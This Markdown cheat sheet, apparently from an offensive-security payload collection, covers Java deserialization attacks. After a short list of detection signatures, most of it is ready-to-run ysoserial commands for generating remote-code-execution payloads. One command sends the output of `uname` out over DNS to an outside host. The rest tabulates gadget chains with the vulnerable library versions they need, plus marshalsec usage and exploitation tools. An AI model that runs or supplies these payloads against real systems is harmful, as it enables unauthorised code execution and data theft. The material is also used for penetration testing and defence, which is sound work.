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109 lines
6.5 KiB
Markdown
109 lines
6.5 KiB
Markdown
# Java Deserialization
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## Detection
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- "AC ED 00 05" in Hex
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- "rO0" in Base64
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- Content-type = "application/x-java-serialized-object"
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- "H4sIAAAAAAAAAJ" in gzip(base64)
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## Exploit
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[ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
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```java
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java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
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java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
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java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
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java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
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```
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payload | author | dependencies | impact (if not RCE)
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------|--------|------ |------
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BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5
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C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11
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Clojure |@JackOfMostTrades |clojure:1.8.0
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CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
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CommonsCollections1 |@frohoff |commons-collections:3.1
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CommonsCollections2 |@frohoff |commons-collections4:4.0
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CommonsCollections3 |@frohoff |commons-collections:3.1
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CommonsCollections4 |@frohoff |commons-collections4:4.0
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CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
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CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
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FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
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Groovy1 |@frohoff |groovy:2.3.9
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Hibernate1 |@mbechler|
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Hibernate2 |@mbechler|
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JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
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JRMPClient |@mbechler|
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JRMPListener |@mbechler|
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JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
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JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
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Jdk7u21 |@frohoff|
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Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2
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MozillaRhino1 |@matthias_kaiser |js:1.7R2
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Myfaces1 |@mbechler|
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Myfaces2 |@mbechler|
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ROME |@mbechler |rome:1.0
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Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
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Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
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URLDNS |@gebl| | jre only vuln detect
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Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
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Additional tools (integration ysoserial with Burp Suite):
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- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
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- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
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- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
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- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
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- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
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JRE8u20_RCE_Gadget
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[https://github.com/pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
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JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool, [https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
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ysoserial-modified [https://github.com/pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified)
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Java Unmarshaller Security: Turning your data into code execution - [https://github.com/mbechler/marshalsec](https://github.com/mbechler/marshalsec)
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```java
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java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
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where
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-a - generates/tests all payloads for that marshaller
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-t - runs in test mode, unmarshalling the generated payloads after generating them.
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-v - verbose mode, e.g. also shows the generated payload in test mode.
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gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
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arguments - Gadget specific arguments
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```
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Payload generators for the following marshallers are included:<br />
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| Marshaller | Gadget Impact
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| ------------------------------- | ----------------------------------------------
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| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization<br/>various third party libraries RCEs
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| Hessian|Burlap | various third party RCEs
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| Castor | dependency library RCE
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| Jackson | **possible JDK only RCE**, various third party RCEs
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| Java | yet another third party RCE
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| JsonIO | **JDK only RCE**
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| JYAML | **JDK only RCE**
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| Kryo | third party RCEs
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| KryoAltStrategy | **JDK only RCE**
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| Red5AMF(0|3) | **JDK only RCE**
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| SnakeYAML | **JDK only RCEs**
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| XStream | **JDK only RCEs**
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| YAMLBeans | third party RCE
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## References
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- [Github - ysoserial](https://github.com/frohoff/ysoserial)
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- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
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- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
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- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
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- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
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- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
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- [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
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